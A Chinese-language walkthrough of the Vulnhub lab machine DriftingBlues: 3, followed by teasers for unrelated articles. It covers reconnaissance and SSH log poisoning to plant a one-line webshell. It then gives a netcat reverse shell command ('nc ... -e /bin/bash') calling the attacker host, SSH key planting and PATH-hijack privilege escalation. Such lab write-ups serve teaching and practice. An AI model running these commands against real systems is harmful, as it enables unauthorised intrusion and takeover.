[Vulnhub靶机] DriftingBlues: 3

[Vulnhub靶机] DriftingBlues: 3靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues3.ova


靶机地址:192.168.67.19

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口22、80及其服务ssh、http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,没有发现有用信息,尝试使用 dirsearch 工具扫描靶机网站目录,得到robots.txt

dirsearch -u 靶机URL

        -u        指定目标URL

4.访问靶机 robots.txt 页面,得到 /eventadmins 页面

5.继续访问 /eventadmins ,得到提示。提示中说明ssh可能存在漏洞,还得到了 /littlequeenofspades.html 页面

6.继续访问 /littlequeenofspades.html ,发现页面没有有用信息回显,查看网页源代码得到一串base64加密的内容

7.通过两次base64解密后得到 /adminsfixit.php,查看后发现该文件为ssh身份验证日志文件

二、漏洞利用

分析ssh日志文件后发现,ssh远程连接时登录的用户名会被写入到该文件内,尝试利用该漏洞将一句话木马写入到 /adminsfixit.php内

重新访问 /adminsfixit.php 网页,并通过cmd参数进行测试,发现成功写入

三、反弹shell

1.进行反向反弹shell,攻击机开启 nc 监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

2.利用木马执行 nc 命令,尝试反弹shell

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

3.成功反弹shell,进入靶机并成功执行命令

4.利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

5.分析查看靶机内文件,发现home目录下有一个robertj用户,且该用户目录下存在两个文件,user.txt”文件没有权限无法打开,.ssh 目录有可读可写可执行权限

6.进入 .ssh 目录进行查看,发现目录内没有任何文件内容

7.继续查看分析,查看ssh配置文件(默认目录/etc/ssh/sshd_config),发现可以公钥登录,并且给出了公钥文件存放目录 /home/robertj/.ssh/authorized_keys

8.尝试把公钥放入.ssh目录内,使用 ssh-keygen 工具生成公密钥,并将生成的密钥保存到 /home/robertj/.ssh/ 目录下

ssh-keygen -t rsa

        -t        指定生成的密钥类型,默认为RSA类型

9.将生成的公钥内容输出到authorized_keys文件内

10.查看私钥文件,将内容复制出来,粘贴到本地文件中

注意要将id_rsa文件的权限修改为与创建时权限一致

11.使用私钥进行登录,成功登录robertj用户

ssh robertj@192.168.66.140 -i id_rsa

        -i        指定身份验证文件,用于身份验证

四、提权

1.使用 find 命令寻找suid程序,发现一个可疑程序/usr/bin/getinfo

find / -perm -4000 2>/dev/null 或 find / -perm -u=s 2>/dev/null

        -perm         按照权限查找文件(4000、2000、1000分别表示SUID,SGID,SBIT权限,如777为普通文件最高权限,7000为特殊文件的最高权限)

使用find命令的时候在命令后加 2>/dev/null 将错误结果输出重定向到/dev/null中,/dev/null是一个特殊的设备文件,其实质为空设备文件,其大小是0字节,所有人都有读写权限,而其主要作用就是将接收的一切输出给它的数据并丢弃,就像垃圾桶,也被称为位桶(bit bucket)

2.执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

3.可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中

cd /tmp

echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)

chmod +x ip                                    给ip文件增加执行权限

4.再次运行getinfo,成功提权至root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/323986.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时代变了,Spring 官方抛弃了 Java 8!

先容许我吐槽一句:Spring 官方,窝草尼玛! 原谅我很愤怒!最近编程导航星球和群友们反复问一个问题:为啥用 IDEA 创建 Spring Boot 项目时,不能选择 Java 8 了? 我本来以为是 IDEA 版本更新导致的…

SpringBoot集成沙箱支付

前言 支付宝沙箱支付(Alipay Sandbox Payment)是支付宝提供的一个模拟支付环境,用于开发和测试支付宝支付功能的开发者工具。在真实的支付宝环境中进行支付开发和测试可能涉及真实资金和真实用户账户,而沙箱环境则提供了一个安全…

FlagData 2.0:全面、高效的大模型训练数据治理工具集

数据是大模型训练至关重要的一环。数据规模、质量、配比,很大程度上决定了最后大模型的性能表现。无论是大规模的预训练数据、精益求精的SFT数据都依托于一个完整的“获取-准备-处理-分析”数据流程。然而,当前的开源工具通常只专注于流程中的某一环节&a…

贪心算法:活动选择问题以及贪心选择性质证明

什么时候使用贪婪算法? – 贪心选择特性: 全局的最优解可以通过局部的最优(贪婪) 选择得到. • 动态规划需要检查子问题的解。 – 最优子结构: 问题的最优解包含了其子问题的最优解. • 例如, 如果 A 是S的最优解, 那么 A A - {1} 是 的最优解. …

网桥的基础知识

1、什么是网桥? 网桥:一种桥接器,连接两个局域网的一种存储/转发设备。工作在数据链路层,是早期的两端口二层网络设备。可将一个大的VLAN分割为多个网段,或者将两个以上的LAN互联为一个逻辑LAN,使得LAN上的…

队列的数据结构实验报告

实验目的: 1、理解队列数据结构的概念和特点。 2、熟悉队列的应用场景和算法实现。 二、实验内容(实验题目与说明) 实现了一个循环队列,具有功能: 初始化队列。判断队列是否为空。判断队列是否已满。入队。出队。…

Kubernetes 1.29:稳定性提升、性能升级,全新功能来袭!

关注【云原生百宝箱】公众号,获取更多云原生消息 Kubernetes 1.29版本带来了多项重要变化和功能更新。这次发布将ReadWriteOncePod从Alpha版本升级到稳定版,引入了nftables来取代iptables以提升性能,将SidecarContainers功能升级至Beta并默认…

打工人的2.0时代,只需要一副AR眼镜!

在数字化时代,工业行业中的生产效率如何得到提升?工业AR眼镜或许是一个不错的选择。不过工业AR眼镜真的可以协助员工处理工作中所遇到的各种问题吗?我们以制造业、医疗行业、船舶业的不同从业者为例: 假如你是一名制造业从业者&am…

阿里云服务器配置jupyter(新手入门,详细全面)

设置安全组 1.租好服务器后在阿里云服务器平台上打开控制台(右上角) 2.点开自己的云服务器控制台,在左栏“安全组”部分添加安全规则,点击“管理规则” 单击“手动添加”,将安全组设为如下格式,端口范围…

面试算法89:房屋偷盗

题目 输入一个数组表示某条街道上的一排房屋内财产的数量。如果这条街道上相邻的两幢房屋被盗就会自动触发报警系统。请计算小偷在这条街道上最多能偷取到多少财产。例如,街道上5幢房屋内的财产用数组[2,3,4,5,3]表示…

网页爬虫在数据分析中的作用,代理IP知识科普

在当今信息爆炸的时代,数据分析成为洞察信息和制定决策的不可或缺的工具。而网页爬虫,作为数据收集的得力助手,在数据分析中扮演着举足轻重的角色。今天,我们将一同探讨网页爬虫在数据分析中的作用。 1. 数据收集的先锋 网页爬虫…

Java版商城:Spring Cloud+SpringBoot b2b2c电子商务平台,多商家入驻、直播带货及免 费 小程序商城搭建

随着互联网的快速发展,越来越多的企业开始注重数字化转型,以提升自身的竞争力和运营效率。在这个背景下,鸿鹄云商SAAS云产品应运而生,为企业提供了一种简单、高效、安全的数字化解决方案。 鸿鹄云商SAAS云产品是一种基于云计算的软…